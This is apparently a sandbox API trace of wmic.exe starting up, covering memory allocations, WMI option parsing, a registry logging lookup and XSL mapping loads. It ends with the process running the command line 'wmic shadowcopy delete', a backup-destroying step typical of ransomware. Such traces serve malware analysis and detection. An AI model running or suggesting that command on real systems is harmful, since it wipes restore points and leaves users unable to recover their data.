[0110.137] lstrlenW (lpString="XDUWTFONO") returned 9 [0110.137] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="XDUWTFONO", cchCount1=9, lpString2="XDUWTFONO", cchCount2=9) returned 2 [0110.137] free (_Block=0x33dfb0) [0110.137] lstrlenW (lpString="XDUWTFONO") returned 9 [0110.137] malloc (_Size=0x14) returned 0x33dfb0 [0110.137] lstrlenW (lpString="XDUWTFONO") returned 9 [0110.137] lstrlenW (lpString="XDUWTFONO") returned 9 [0110.137] malloc (_Size=0x14) returned 0x477fb0 [0110.137] lstrlenW (lpString="XDUWTFONO") returned 9 [0110.137] malloc (_Size=0x8) returned 0x476530 [0110.137] malloc (_Size=0x18) returned 0x476550 [0110.138] malloc (_Size=0x30) returned 0x476570 [0110.138] malloc (_Size=0x18) returned 0x4765b0 [0110.138] SysStringLen (param_1="IDENTIFY") returned 0x8 [0110.138] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0110.138] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0110.138] SysStringLen (param_1="IDENTIFY") returned 0x8 [0110.138] malloc (_Size=0x30) returned 0x4765d0 [0110.138] malloc (_Size=0x18) returned 0x476610 [0110.138] SysStringLen (param_1="IMPERSONATE") returned 0xb [0110.138] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0110.138] SysStringLen (param_1="IMPERSONATE") returned 0xb [0110.138] SysStringLen (param_1="IDENTIFY") returned 0x8 [0110.138] SysStringLen (param_1="IDENTIFY") returned 0x8 [0110.138] SysStringLen (param_1="IMPERSONATE") returned 0xb [0110.138] malloc (_Size=0x30) returned 0x476630 [0110.138] malloc (_Size=0x18) returned 0x476670 [0110.138] SysStringLen (param_1="DELEGATE") returned 0x8 [0110.138] SysStringLen (param_1="IDENTIFY") returned 0x8 [0110.138] SysStringLen (param_1="DELEGATE") returned 0x8 [0110.138] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0110.138] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0110.138] SysStringLen (param_1="DELEGATE") returned 0x8 [0110.139] malloc (_Size=0x30) returned 0x476690 [0110.139] malloc (_Size=0x18) returned 0x4766d0 [0110.139] malloc (_Size=0x30) returned 0x4766f0 [0110.139] malloc (_Size=0x18) returned 0x476730 [0110.139] SysStringLen (param_1="NONE") returned 0x4 [0110.139] SysStringLen (param_1="DEFAULT") returned 0x7 [0110.139] SysStringLen (param_1="DEFAULT") returned 0x7 [0110.139] SysStringLen (param_1="NONE") returned 0x4 [0110.139] malloc (_Size=0x30) returned 0x476750 [0110.139] malloc (_Size=0x18) returned 0x476790 [0110.139] SysStringLen (param_1="CONNECT") returned 0x7 [0110.139] SysStringLen (param_1="DEFAULT") returned 0x7 [0110.139] malloc (_Size=0x30) returned 0x4767b0 [0110.139] malloc (_Size=0x18) returned 0x4767f0 [0110.139] SysStringLen (param_1="CALL") returned 0x4 [0110.139] SysStringLen (param_1="DEFAULT") returned 0x7 [0110.139] SysStringLen (param_1="CALL") returned 0x4 [0110.140] SysStringLen (param_1="CONNECT") returned 0x7 [0110.140] malloc (_Size=0x30) returned 0x476810 [0110.140] malloc (_Size=0x18) returned 0x476850 [0110.140] SysStringLen (param_1="PKT") returned 0x3 [0110.140] SysStringLen (param_1="DEFAULT") returned 0x7 [0110.140] SysStringLen (param_1="PKT") returned 0x3 [0110.140] SysStringLen (param_1="NONE") returned 0x4 [0110.140] SysStringLen (param_1="NONE") returned 0x4 [0110.140] SysStringLen (param_1="PKT") returned 0x3 [0110.140] malloc (_Size=0x30) returned 0x476870 [0110.140] malloc (_Size=0x18) returned 0x4768b0 [0110.140] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0110.140] SysStringLen (param_1="DEFAULT") returned 0x7 [0110.140] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0110.140] SysStringLen (param_1="NONE") returned 0x4 [0110.140] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0110.140] SysStringLen (param_1="PKT") returned 0x3 [0110.140] SysStringLen (param_1="PKT") returned 0x3 [0110.140] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0110.140] malloc (_Size=0x30) returned 0x478000 [0110.142] malloc (_Size=0x18) returned 0x476cd0 [0110.142] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0110.142] SysStringLen (param_1="DEFAULT") returned 0x7 [0110.142] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0110.142] SysStringLen (param_1="PKT") returned 0x3 [0110.142] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0110.142] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0110.142] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0110.142] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0110.142] malloc (_Size=0x30) returned 0x478040 [0110.142] malloc (_Size=0x40) returned 0x476cf0 [0110.143] malloc (_Size=0x20a) returned 0x478fd0 [0110.143] GetSystemDirectoryW (in: lpBuffer=0x478fd0, uSize=0x105 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0110.143] free (_Block=0x478fd0) [0110.143] malloc (_Size=0x18) returned 0x476d40 [0110.143] malloc (_Size=0x18) returned 0x476d60 [0110.143] malloc (_Size=0x18) returned 0x476d80 [0110.143] SysStringLen (param_1="C:\\Windows\\system32") returned 0x13 [0110.143] SysStringLen (param_1="\\wbem\\") returned 0x6 [0110.143] free (_Block=0x476d40) [0110.143] free (_Block=0x476d60) [0110.143] SysStringByteLen (bstr="C:\\Windows\\system32\\wbem\\") returned 0x32 [0110.144] free (_Block=0x476d80) [0110.144] malloc (_Size=0x18) returned 0x476d40 [0110.144] malloc (_Size=0x18) returned 0x476d60 [0110.144] malloc (_Size=0x18) returned 0x476d80 [0110.144] SysStringLen (param_1="C:\\Windows\\system32\\wbem\\") returned 0x19 [0110.144] SysStringLen (param_1="XSL-Mappings.xml") returned 0x10 [0110.144] free (_Block=0x476d40) [0110.144] free (_Block=0x476d60) [0110.144] GetCurrentThreadId () returned 0xb88 [0110.144] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Wbem\\CIMOM", ulOptions=0x0, samDesired=0x1, phkResult=0x18ee20 | out: phkResult=0x18ee20*=0xf8) returned 0x0 [0110.144] RegQueryValueExW (in: hKey=0xf8, lpValueName="Logging", lpReserved=0x0, lpType=0x0, lpData=0x18ee70, lpcbData=0x18ee10*=0x400 | out: lpType=0x0, lpData=0x18ee70*=0x30, lpcbData=0x18ee10*=0x4) returned 0x0 [0110.144] _wcsicmp (_String1="0", _String2="1") returned -1 [0110.145] _wcsicmp (_String1="0", _String2="2") returned -2 [0110.145] RegQueryValueExW (in: hKey=0xf8, lpValueName="Logging Directory", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x18ee10*=0x4 | out: lpType=0x0, lpData=0x0, lpcbData=0x18ee10*=0x42) returned 0x0 [0110.145] malloc (_Size=0x86) returned 0x476da0 [0110.145] RegQueryValueExW (in: hKey=0xf8, lpValueName="Logging Directory", lpReserved=0x0, lpType=0x0, lpData=0x476da0, lpcbData=0x18ee10*=0x42 | out: lpType=0x0, lpData=0x476da0*=0x25, lpcbData=0x18ee10*=0x42) returned 0x0 [0110.145] lstrlenW (lpString="%systemroot%\\system32\\wbem\\Logs\\") returned 32 [0110.145] malloc (_Size=0x42) returned 0x476e30 [0110.145] lstrlenW (lpString="%systemroot%\\system32\\wbem\\Logs\\") returned 32 [0110.145] RegQueryValueExW (in: hKey=0xf8, lpValueName="Log File Max Size", lpReserved=0x0, lpType=0x0, lpData=0x18ee70, lpcbData=0x18ee10*=0x400 | out: lpType=0x0, lpData=0x18ee70*=0x36, lpcbData=0x18ee10*=0xc) returned 0x0 [0110.145] _wtol (_String="65536") returned 65536 [0110.145] free (_Block=0x476da0) [0110.145] RegCloseKey (hKey=0x0) returned 0x6 [0110.145] CoCreateInstance (in: rclsid=0xff657410*(Data1=0xf6d90f12, Data2=0x9c73, Data3=0x11d3, Data4=([0]=0xb3, [1]=0x2e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0xb, [7]=0xb4)), pUnkOuter=0x0, dwClsContext=0x1, riid=0xff6573f0*(Data1=0x2933bf95, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppv=0x18f318 | out: ppv=0x18f318*=0x23f71d0) returned 0x0 [0110.558] FreeThreadedDOMDocument:IXMLDOMDocument:Load (in: This=0x23f71d0, xmlSource=0x18f460*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Windows\\system32\\wbem\\XSL-Mappings.xml", varVal2=0x476d40), isSuccessful=0x18f4d0 | out: isSuccessful=0x18f4d0*=0xffff) returned 0x0 [0118.186] FreeThreadedDOMDocument:IXMLDOMDocument:get_documentElement (in: This=0x23f71d0, DOMElement=0x18f310 | out: DOMElement=0x18f310) returned 0x0 [0118.186] malloc (_Size=0x18) returned 0x476d40 [0118.191] free (_Block=0x476d40) [0118.194] malloc (_Size=0x18) returned 0x476d40 [0118.194] free (_Block=0x476d40) [0118.194] malloc (_Size=0x18) returned 0x476d40 [0118.194] malloc (_Size=0x18) returned 0x476d60 [0118.195] malloc (_Size=0x30) returned 0x478080 [0118.195] malloc (_Size=0x18) returned 0x476e80 [0118.195] free (_Block=0x476e80) [0118.195] malloc (_Size=0x18) returned 0x47c270 [0118.195] malloc (_Size=0x18) returned 0x47c290 [0118.196] SysStringLen (param_1="VALUE") returned 0x5 [0118.196] SysStringLen (param_1="TABLE") returned 0x5 [0118.196] SysStringLen (param_1="TABLE") returned 0x5 [0118.196] SysStringLen (param_1="VALUE") returned 0x5 [0118.196] malloc (_Size=0x30) returned 0x4780c0 [0118.196] malloc (_Size=0x18) returned 0x47c2b0 [0118.196] free (_Block=0x47c2b0) [0118.196] malloc (_Size=0x18) returned 0x47c2b0 [0118.196] malloc (_Size=0x18) returned 0x47c2d0 [0118.197] SysStringLen (param_1="LIST") returned 0x4 [0118.197] SysStringLen (param_1="TABLE") returned 0x5 [0118.197] malloc (_Size=0x30) returned 0x478100 [0118.197] malloc (_Size=0x18) returned 0x47c2f0 [0118.197] free (_Block=0x47c2f0) [0118.197] malloc (_Size=0x18) returned 0x47c2f0 [0118.198] malloc (_Size=0x18) returned 0x47c310 [0118.198] SysStringLen (param_1="RAWXML") returned 0x6 [0118.198] SysStringLen (param_1="TABLE") returned 0x5 [0118.198] SysStringLen (param_1="RAWXML") returned 0x6 [0118.198] SysStringLen (param_1="LIST") returned 0x4 [0118.198] SysStringLen (param_1="LIST") returned 0x4 [0118.198] SysStringLen (param_1="RAWXML") returned 0x6 [0118.198] malloc (_Size=0x30) returned 0x478140 [0118.198] malloc (_Size=0x18) returned 0x47c330 [0118.198] free (_Block=0x47c330) [0118.198] malloc (_Size=0x18) returned 0x47c330 [0118.198] malloc (_Size=0x18) returned 0x47c350 [0118.199] SysStringLen (param_1="HTABLE") returned 0x6 [0118.199] SysStringLen (param_1="TABLE") returned 0x5 [0118.199] SysStringLen (param_1="HTABLE") returned 0x6 [0118.199] SysStringLen (param_1="LIST") returned 0x4 [0118.199] malloc (_Size=0x30) returned 0x478180 [0118.199] malloc (_Size=0x18) returned 0x47c370 [0118.199] free (_Block=0x47c370) [0118.199] malloc (_Size=0x18) returned 0x47c370 [0118.199] malloc (_Size=0x18) returned 0x47c390 [0118.200] SysStringLen (param_1="HFORM") returned 0x5 [0118.200] SysStringLen (param_1="TABLE") returned 0x5 [0118.200] SysStringLen (param_1="HFORM") returned 0x5 [0118.200] SysStringLen (param_1="LIST") returned 0x4 [0118.200] SysStringLen (param_1="HFORM") returned 0x5 [0118.200] SysStringLen (param_1="HTABLE") returned 0x6 [0118.200] malloc (_Size=0x30) returned 0x4781c0 [0118.200] malloc (_Size=0x18) returned 0x47c3b0 [0118.200] free (_Block=0x47c3b0) [0118.200] malloc (_Size=0x18) returned 0x47c3b0 [0118.200] malloc (_Size=0x18) returned 0x47c3d0 [0118.201] SysStringLen (param_1="XML") returned 0x3 [0118.201] SysStringLen (param_1="TABLE") returned 0x5 [0118.201] SysStringLen (param_1="XML") returned 0x3 [0118.201] SysStringLen (param_1="VALUE") returned 0x5 [0118.201] SysStringLen (param_1="VALUE") returned 0x5 [0118.201] SysStringLen (param_1="XML") returned 0x3 [0118.201] malloc (_Size=0x30) returned 0x478200 [0118.201] malloc (_Size=0x18) returned 0x47c3f0 [0118.202] free (_Block=0x47c3f0) [0118.202] malloc (_Size=0x18) returned 0x47c3f0 [0118.202] malloc (_Size=0x18) returned 0x47c410 [0118.202] SysStringLen (param_1="MOF") returned 0x3 [0118.202] SysStringLen (param_1="TABLE") returned 0x5 [0118.202] SysStringLen (param_1="MOF") returned 0x3 [0118.202] SysStringLen (param_1="LIST") returned 0x4 [0118.202] SysStringLen (param_1="MOF") returned 0x3 [0118.202] SysStringLen (param_1="RAWXML") returned 0x6 [0118.202] SysStringLen (param_1="LIST") returned 0x4 [0118.202] SysStringLen (param_1="MOF") returned 0x3 [0118.202] malloc (_Size=0x30) returned 0x478240 [0118.203] malloc (_Size=0x18) returned 0x47c430 [0118.203] free (_Block=0x47c430) [0118.203] malloc (_Size=0x18) returned 0x47c430 [0118.203] malloc (_Size=0x18) returned 0x47c450 [0118.203] SysStringLen (param_1="CSV") returned 0x3 [0118.203] SysStringLen (param_1="TABLE") returned 0x5 [0118.203] SysStringLen (param_1="CSV") returned 0x3 [0118.203] SysStringLen (param_1="LIST") returned 0x4 [0118.203] SysStringLen (param_1="CSV") returned 0x3 [0118.203] SysStringLen (param_1="HTABLE") returned 0x6 [0118.203] SysStringLen (param_1="CSV") returned 0x3 [0118.203] SysStringLen (param_1="HFORM") returned 0x5 [0118.203] malloc (_Size=0x30) returned 0x478280 [0118.204] malloc (_Size=0x18) returned 0x47c470 [0118.204] free (_Block=0x47c470) [0118.204] malloc (_Size=0x18) returned 0x47c470 [0118.204] malloc (_Size=0x18) returned 0x47c490 [0118.204] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0118.204] SysStringLen (param_1="TABLE") returned 0x5 [0118.204] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0118.204] SysStringLen (param_1="VALUE") returned 0x5 [0118.204] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0118.204] SysStringLen (param_1="XML") returned 0x3 [0118.204] SysStringLen (param_1="XML") returned 0x3 [0118.204] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0118.204] malloc (_Size=0x30) returned 0x4782c0 [0118.205] malloc (_Size=0x18) returned 0x47c4b0 [0118.205] free (_Block=0x47c4b0) [0118.205] malloc (_Size=0x18) returned 0x47c4b0 [0118.205] malloc (_Size=0x18) returned 0x47c4d0 [0118.205] SysStringLen (param_1="texttablewsys") returned 0xd [0118.205] SysStringLen (param_1="TABLE") returned 0x5 [0118.205] SysStringLen (param_1="texttablewsys") returned 0xd [0118.205] SysStringLen (param_1="XML") returned 0x3 [0118.205] SysStringLen (param_1="texttablewsys") returned 0xd [0118.205] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0118.205] SysStringLen (param_1="XML") returned 0x3 [0118.205] SysStringLen (param_1="texttablewsys") returned 0xd [0118.206] malloc (_Size=0x30) returned 0x478300 [0118.206] malloc (_Size=0x18) returned 0x47c4f0 [0118.206] free (_Block=0x47c4f0) [0118.206] malloc (_Size=0x18) returned 0x47c4f0 [0118.206] malloc (_Size=0x18) returned 0x47c510 [0118.206] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0118.206] SysStringLen (param_1="TABLE") returned 0x5 [0118.206] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0118.206] SysStringLen (param_1="XML") returned 0x3 [0118.207] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0118.207] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0118.207] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0118.207] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0118.207] malloc (_Size=0x30) returned 0x478340 [0118.207] malloc (_Size=0x18) returned 0x47c530 [0118.207] free (_Block=0x47c530) [0118.207] malloc (_Size=0x18) returned 0x47c530 [0118.207] malloc (_Size=0x18) returned 0x47c550 [0118.207] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0118.207] SysStringLen (param_1="TABLE") returned 0x5 [0118.207] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0118.207] SysStringLen (param_1="XML") returned 0x3 [0118.208] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0118.208] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0118.208] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0118.208] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0118.208] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0118.208] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0118.208] malloc (_Size=0x30) returned 0x478380 [0118.208] malloc (_Size=0x18) returned 0x47c570 [0118.208] free (_Block=0x47c570) [0118.208] malloc (_Size=0x18) returned 0x47c570 [0118.208] malloc (_Size=0x18) returned 0x47c590 [0118.208] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0118.209] SysStringLen (param_1="TABLE") returned 0x5 [0118.209] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0118.209] SysStringLen (param_1="XML") returned 0x3 [0118.209] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0118.209] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0118.209] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0118.209] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0118.209] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0118.209] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0118.209] malloc (_Size=0x30) returned 0x4783c0 [0118.209] malloc (_Size=0x18) returned 0x47c5b0 [0118.209] free (_Block=0x47c5b0) [0118.209] malloc (_Size=0x18) returned 0x47c5b0 [0118.210] malloc (_Size=0x18) returned 0x47c5d0 [0118.210] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0118.210] SysStringLen (param_1="TABLE") returned 0x5 [0118.210] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0118.210] SysStringLen (param_1="XML") returned 0x3 [0118.210] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0118.210] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0118.210] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0118.210] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0118.210] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0118.210] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0118.210] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0118.210] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0118.210] malloc (_Size=0x30) returned 0x478400 [0118.211] malloc (_Size=0x18) returned 0x47c5f0 [0118.211] free (_Block=0x47c5f0) [0118.211] malloc (_Size=0x18) returned 0x47c5f0 [0118.211] malloc (_Size=0x18) returned 0x47c610 [0118.211] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0118.211] SysStringLen (param_1="TABLE") returned 0x5 [0118.211] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0118.211] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0118.211] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0118.211] SysStringLen (param_1="XML") returned 0x3 [0118.211] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0118.211] SysStringLen (param_1="texttablewsys") returned 0xd [0118.211] SysStringLen (param_1="XML") returned 0x3 [0118.211] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0118.211] malloc (_Size=0x30) returned 0x478440 [0118.212] malloc (_Size=0x18) returned 0x47c630 [0118.212] free (_Block=0x47c630) [0118.214] malloc (_Size=0x18) returned 0x47c630 [0118.214] malloc (_Size=0x18) returned 0x47c650 [0118.214] SysStringLen (param_1="htable-sortby") returned 0xd [0118.214] SysStringLen (param_1="TABLE") returned 0x5 [0118.214] SysStringLen (param_1="htable-sortby") returned 0xd [0118.214] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0118.214] SysStringLen (param_1="htable-sortby") returned 0xd [0118.214] SysStringLen (param_1="XML") returned 0x3 [0118.214] SysStringLen (param_1="htable-sortby") returned 0xd [0118.214] SysStringLen (param_1="texttablewsys") returned 0xd [0118.214] SysStringLen (param_1="htable-sortby") returned 0xd [0118.214] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0118.214] SysStringLen (param_1="XML") returned 0x3 [0118.214] SysStringLen (param_1="htable-sortby") returned 0xd [0118.214] malloc (_Size=0x30) returned 0x478480 [0118.215] malloc (_Size=0x18) returned 0x47c670 [0118.215] free (_Block=0x47c670) [0118.215] malloc (_Size=0x18) returned 0x47c670 [0118.215] malloc (_Size=0x18) returned 0x47c690 [0118.215] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0118.215] SysStringLen (param_1="TABLE") returned 0x5 [0118.215] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0118.215] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0118.215] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0118.215] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0118.215] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0118.215] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0118.215] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0118.215] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0118.215] malloc (_Size=0x30) returned 0x4784c0 [0118.216] malloc (_Size=0x18) returned 0x47c6b0 [0118.216] free (_Block=0x47c6b0) [0118.216] malloc (_Size=0x18) returned 0x47c6b0 [0118.216] malloc (_Size=0x18) returned 0x47c6d0 [0118.216] SysStringLen (param_1="wmiclimofformat") returned 0xf [0118.216] SysStringLen (param_1="TABLE") returned 0x5 [0118.216] SysStringLen (param_1="wmiclimofformat") returned 0xf [0118.216] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0118.216] SysStringLen (param_1="wmiclimofformat") returned 0xf [0118.216] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0118.216] SysStringLen (param_1="wmiclimofformat") returned 0xf [0118.216] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0118.216] SysStringLen (param_1="wmiclimofformat") returned 0xf [0118.216] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0118.216] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0118.216] SysStringLen (param_1="wmiclimofformat") returned 0xf [0118.217] malloc (_Size=0x30) returned 0x478500 [0118.217] malloc (_Size=0x18) returned 0x47c6f0 [0118.217] free (_Block=0x47c6f0) [0118.217] malloc (_Size=0x18) returned 0x47c6f0 [0118.217] malloc (_Size=0x18) returned 0x47c710 [0118.217] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0118.217] SysStringLen (param_1="TABLE") returned 0x5 [0118.217] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0118.218] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0118.218] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0118.218] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0118.218] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0118.218] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0118.218] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0118.218] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0118.218] malloc (_Size=0x30) returned 0x478540 [0118.218] malloc (_Size=0x18) returned 0x47c730 [0118.218] free (_Block=0x47c730) [0118.219] malloc (_Size=0x18) returned 0x47c730 [0118.219] malloc (_Size=0x18) returned 0x47c750 [0118.219] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0118.219] SysStringLen (param_1="TABLE") returned 0x5 [0118.219] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0118.219] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0118.219] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0118.219] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0118.219] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0118.219] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0118.219] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0118.219] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0118.219] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0118.219] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0118.219] malloc (_Size=0x30) returned 0x478580 [0118.219] FreeThreadedDOMDocument:IUnknown:Release (This=0x23f71d0) returned 0x0 [0118.220] free (_Block=0x476d80) [0118.220] GetCommandLineW () returned="wmic shadowcopy delete" [0118.221] malloc (_Size=0x30) returned 0x4785c0 [0118.221] memcpy_s (in: _Destination=0x4785c0, _DestinationSize=0x2e, _Source=0x2325ec, _SourceSize=0x2e | out: _Destination=0x4785c0) returned 0x0 [0118.222] malloc (_Size=0x18) returned 0x47c770 [0118.222] malloc (_Size=0x18) returned 0x47c790 [0118.222] malloc (_Size=0x18) returned 0x47c7b0 [0118.222] malloc (_Size=0x18) returned 0x47c7d0 [0118.222] malloc (_Size=0x80) returned 0x476d80 [0118.222] GetLocalTime (in: lpSystemTime=0x18f4b0 | out: lpSystemTime=0x18f4b0*(wYear=0x7e4, wMonth=0xa, wDayOfWeek=0x3, wDay=0x1c, wHour=0x14, wMinute=0x7, wSecond=0x28, wMilliseconds=0x84)) [0118.222] _vsnwprintf (in: _Buffer=0x476d80, _BufferCount=0x3f, _Format="%.2d-%.2d-%.4dT%.2d:%.2d:%.2d", _ArgList=0x18f408 | out: _Buffer="10-28-2020T20:07:40") returned 19 [0118.222] lstrlenW (lpString=" shadowcopy delete") returned 19 [0118.222] malloc (_Size=0x28) returned 0x476e80 [0118.222] lstrlenW (lpString=" shadowcopy delete") returned 19 [0118.222] lstrlenW (lpString=" shadowcopy delete") returned 19 [0118.222] malloc (_Size=0x28) returned 0x476eb0 [0118.222] lstrlenW (lpString=" shadowcopy delete") returned 19 [0118.222] lstrlenW (lpString=" shadowcopy delete") returned 19 [0118.222] lstrlenW (lpString=" shadowcopy delete") returned 19 [0118.223] malloc (_Size=0x16) returned 0x47c7f0 [0118.223] lstrlenW (lpString="shadowcopy") returned 10 [0118.223] _wcsicmp (_String1="shadowcopy", _String2="\"NULL\"") returned 81 [0118.223] malloc (_Size=0x16) returned 0x47c810 [0118.223] malloc (_Size=0x8) returned 0x476e10 [0118.223] free (_Block=0x0) [0118.223] free (_Block=0x47c7f0) [0118.223] lstrlenW (lpString=" shadowcopy delete") returned 19 [0118.223] malloc (_Size=0xe) returned 0x47c7f0 [0118.223] lstrlenW (lpString="delete") returned 6 [0118.223] _wcsicmp (_String1="delete", _String2="\"NULL\"") returned 66 [0118.223] malloc (_Size=0xe) returned 0x47c830 [0118.223] malloc (_Size=0x10) returned 0x47c850 [0118.223] memmove_s (in: _Destination=0x47c850, _DestinationSize=0x8, _Source=0x476e10, _SourceSize=0x8 | out: _Destination=0x47c850) returned 0x0 [0118.223] free (_Block=0x476e10) [0118.223] free (_Block=0x0) [0118.223] free (_Block=0x47c7f0) [0118.224] malloc (_Size=0x10) returned 0x47c7f0 [0118.224] lstrlenW (lpString="QUIT") returned 4 [0118.224] lstrlenW (lpString="shadowcopy") returned 10 [0118.224] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="QUIT", cchCount2=4) returned 3 [0118.224] lstrlenW (lpString="EXIT") returned 4 [0118.224] lstrlenW (lpString="shadowcopy") returned 10 [0118.224] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="EXIT", cchCount2=4) returned 3 [0118.224] free (_Block=0x47c7f0) [0118.224] WbemLocator:IUnknown:AddRef (This=0x1f21390) returned 0x2 [0118.224] malloc (_Size=0x10) returned 0x47c7f0 [0118.224] lstrlenW (lpString="/") returned 1 [0118.225] lstrlenW (lpString="shadowcopy") returned 10 [0118.225] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="/", cchCount2=1) returned 3 [0118.225] lstrlenW (lpString="-") returned 1 [0118.225] lstrlenW (lpString="shadowcopy") returned 10 [0118.225] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="-", cchCount2=1) returned 3 [0118.225] lstrlenW (lpString="CLASS") returned 5 [0118.225] lstrlenW (lpString="shadowcopy") returned 10 [0118.225] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="CLASS", cchCount2=5) returned 3 [0118.225] lstrlenW (lpString="PATH") returned 4 [0118.225] lstrlenW (lpString="shadowcopy") returned 10 [0118.225] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="PATH", cchCount2=4) returned 3 [0118.225] lstrlenW (lpString="CONTEXT") returned 7 [0118.225] lstrlenW (lpString="shadowcopy") returned 10 